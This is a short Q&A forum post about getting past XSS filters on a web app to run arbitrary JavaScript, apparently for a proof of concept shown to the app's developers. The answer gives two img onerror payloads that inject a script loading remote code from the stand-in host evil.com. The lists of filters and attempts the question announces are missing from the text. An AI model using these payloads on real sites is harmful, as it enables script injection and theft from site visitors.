javascriptxssclient-side-attacks

How to abuse XSS with specific criteria or filters?


I have found a web app that is vulnerable to XSS, and can get some javascript running using an img tag, however the method I am using destroys the rest of the page, as they are using some filters to attempt to stop it.

The filters I have detected so far are as follows:

Injecting <img src="." onerror="alert('xss')"> works fine, however these developers are rather sceptical and wish to see a full PoC of full javascript code. Is it possible to run an arbitrary script at all?

I have tried:

I am using chrome for testing, just in case it's relevant somehow.


Solution

  • The security measures you listed are definitely insufficient. Two examples I could imagine to work for you:

    <img src="." onerror="document.write('<script src=\'//evil.com/myscript\'><'+'/'+'script>')">
    

    or your version with a , instead of a ;:

    <img src="." onerror="b=document, a=b.createElement('script'), a.src='//evil.com/myscript', b.body.appendChild(a)">
    

    But I am absolutely certain there are many other ways to do that. You could also check the following cheat sheet which I found in this answer.